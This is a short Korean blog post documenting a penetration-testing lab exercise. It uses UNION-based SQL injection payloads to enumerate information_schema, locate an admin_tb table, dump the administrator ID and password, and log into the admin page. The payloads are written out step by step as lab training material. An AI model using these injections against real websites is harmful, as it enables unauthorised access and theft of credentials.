모의해킹 실습 (1)

hammieunseo.tistory.com/32

모의해킹의 이해 (2)

이 자료를 활용하여, 관리자의 아이디와 패스워드를 UNION SQLi로 알아내고 관리자 페이지에서 로그인 해보기.

 

① 관리자의 정보가 담겨있는 테이블 찾기

'UNION SELECT '1', '2', '3', '4', COLUMN_NAME FROM information_schema.columns --

⇒ admin_tb

 

② 관리자 정보 있는 테이블의 컬럼명 찾기

'UNION SELECT '1', '2', '3', '4', COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='admin_tb' --

⇒ adminid, adminpwd 가 관리자의 id와 pwd로 추측된다.

 

 

 

 

 

 

 

 

 

 

③ 관리자의 ID와 PW를 찾기

'UNION SELECT '1', '2', '3', adminid, adminpwd FROM admin_tb --

ID와 PW이다.

 

해당 정보로 관리자 페이지에 로그인을 시도하면,

다음과 같이 잘 접속을 할 수 있다.